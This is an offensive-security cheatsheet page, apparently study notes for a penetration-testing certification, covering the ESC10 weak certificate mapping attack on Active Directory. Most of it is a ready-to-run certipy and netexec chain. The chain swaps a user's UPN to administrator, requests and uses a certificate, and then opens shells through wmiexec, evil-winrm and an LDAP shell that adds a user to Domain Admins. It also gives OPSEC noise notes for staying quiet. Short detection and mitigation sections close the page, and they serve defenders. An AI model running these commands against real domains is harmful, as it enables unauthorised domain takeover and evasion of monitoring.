AD^:Active Directory

ESC10 — Weak Certificate Mapping

ESC10 exploits weak certificate-to-account mapping enforcement on the Domain Controller. When the DC receives a certificate for authentication, it must…

advancedupdated 2026-08-10NetExec · Certipy · BloodHound · Evil-WinRM

ESC10 — Weak Certificate Mapping

Quick Reference

FieldValue
CategoryDC Configuration Abuse
DifficultyMedium
Pre-requisitesGenericWrite over an account + weak mapping registry settings on DC
ToolsCertipy, BloodHound, netexec
OPSEC NoiseMedium — UPN/DNS attribute changes generate AD change events
One-linerAbuse weak certificate-to-account mapping on the DC to impersonate any user via UPN/DNS swap, similar to ESC9/ESC16 but caused by DC registry settings.

What Is ESC10?

ESC10 exploits weak certificate-to-account mapping enforcement on the Domain Controller. When the DC receives a certificate for authentication, it must determine which AD account the certificate belongs to. This “mapping” process can be strong (cryptographically verified via objectSID extension) or weak (trusting the UPN/DNS in the certificate without SID verification).

ESC10 has two distinct variants based on which authentication protocol uses weak mapping:

VariantProtocolRegistry KeyVulnerable Value
ESC10aKerberos (PKINIT)StrongCertificateBindingEnforcement0
ESC10bSchannel (LDAPS/TLS)CertificateMappingMethodsContains 0x04 (UPN mapping bit)

ESC10 vs ESC9 vs ESC16 — Why They Look Similar But Aren’t

All three use UPN/DNS swap → request cert → restore. The root cause differs:

ESC9ESC10ESC16
Root causeTemplate flag CT_FLAG_NO_SECURITY_EXTENSIONDC registry weak mappingCA-wide DisableExtensionList
SID extension in cert?❌ (template strips it)✅ (SID IS present, but DC ignores it)❌ (CA strips it)
Where weakness livesCertificate TemplateDomain ControllerCertificate Authority
Blocked by StrongBinding=2?✅❌ ESC10a requires value=0❌

Required Conditions — ESC10a (Kerberos)

ConditionWhere to Check
StrongCertificateBindingEnforcement = 0 on DCRegistry: HKLM\SYSTEM\CurrentControlSet\Services\Kdc
Attacker has GenericWrite over an accountBloodHound ACE edges
That account can enroll in a Client Auth templateTemplate enrollment rights

Required Conditions — ESC10b (Schannel)

ConditionWhere to Check
CertificateMappingMethods contains UPN bit (0x04)Registry: HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel
Attacker has GenericWrite over an accountBloodHound ACE edges
That account can enroll in a Client Auth templateTemplate enrollment rights
LDAPS is enabled on DCPort 636 accessible

Step 0 — Enumeration

# Check StrongCertificateBindingEnforcement
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
  -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement'
# 0 = ESC10a exploitable
# 1 = Compatibility mode (may still work in some scenarios)
# 2 = Full enforcement (blocked)

# Check CertificateMappingMethods
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
  -x 'reg query "HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods'
# If value contains 0x4 = UPN mapping enabled = ESC10b exploitable
# Default value 0x1F = ALL methods enabled = ESC10b exploitable

# Standard certipy scan
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
  -dc-ip $TARGET -vulnerable -stdout

ESC10a Full Attack Chain — Kerberos (UPN Swap)

The chain is similar to ESC9/ESC16 — swap UPN, request cert, restore, authenticate.

Step 1 — Note Current UPN of Controlled Account

certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'targetuser' \
  lookup
# Note: targetuser@domain.htb

Step 2 — Swap UPN to Administrator

certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'targetuser' \
  -upn 'administrator' \
  update

Step 3 — Request Certificate

certipy-ad req \
  -u 'targetuser@domain.htb' \
  -p 'TargetPass!' \
  -dc-ip $TARGET \
  -ca 'DOMAIN-CA-NAME' \
  -template 'User'

# Certificate WILL contain objectSID of targetuser
# But StrongCertificateBindingEnforcement=0 means DC ignores it

Step 4 — Restore UPN Immediately

certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'targetuser' \
  -upn 'targetuser@domain.htb' \
  update

Step 5 — Authenticate

certipy-ad auth \
  -pfx administrator.pfx \
  -username administrator \
  -domain domain.htb \
  -dc-ip $TARGET

# DC maps cert to administrator via UPN (ignoring SID mismatch)

Step 6 — Shell

export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass DC01.domain.htb
evil-winrm -i $TARGET -u administrator -H <NTHASH>

ESC10b Full Attack Chain — Schannel (LDAPS Auth)

ESC10b is different — instead of using PKINIT for Kerberos auth, you authenticate directly to LDAPS using the forged certificate. The DC’s Schannel provider maps the cert to a user via the weak UPN method.

Steps 1–4 — Same as ESC10a (UPN swap, request cert, restore)

Step 5 — Authenticate via Schannel (LDAPS)

# Use certipy with -ldap-shell flag for Schannel authentication
certipy-ad auth \
  -pfx administrator.pfx \
  -username administrator \
  -domain domain.htb \
  -dc-ip $TARGET \
  -ldap-shell

# This gives you an LDAP shell as administrator
# From here you can:
# - Add yourself to Domain Admins
# - Perform Shadow Credentials attack
# - Dump LDAP data

# In the LDAP shell:
> add_user_to_group administrator "Domain Admins"
> set_rbcd EVILPC$ DC01$

💡 ESC10b via Schannel is particularly useful when PKINIT is disabled or when StrongCertificateBindingEnforcement is set to 2 (blocking ESC10a) but CertificateMappingMethods still has UPN mapping enabled.


OPSEC Considerations

ActionLog GeneratedNoise Level
Registry query (remote)Security Event 4688 (process creation)🟡 Medium
UPN modificationEvent ID 4738 (user account changed)🔴 High
Certificate requestEvent ID 4886/4887 on CA🟡 Medium
LDAPS auth (ESC10b)Event ID 4624 Type 10 via TLS🟡 Medium

Detection Indicators

  • Event ID 4738 — Rapid UPN change + revert (same pattern as ESC9/ESC16)
  • Event ID 4887 — Certificate issued where embedded SID doesn’t match the UPN
  • Registry monitoring — StrongCertificateBindingEnforcement or CertificateMappingMethods changed from enforced to weak values
  • LDAPS auth anomalies — Certificate-based LDAPS logon from unexpected source IPs (ESC10b)

Mitigation

  • Set StrongCertificateBindingEnforcement = 2 on all DCs — this is the single most important fix
  • Remove UPN mapping bit from CertificateMappingMethods — set to 0x18 (SHA1 PublicKey + IssuerSerialNumber only) instead of the default 0x1F
  • Audit GenericWrite ACEs — the pre-requisite for the UPN swap
  • Apply KB5014754 and move beyond the compatibility period
  • Monitor UPN attribute changes — alert on any userPrincipalName modification
On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.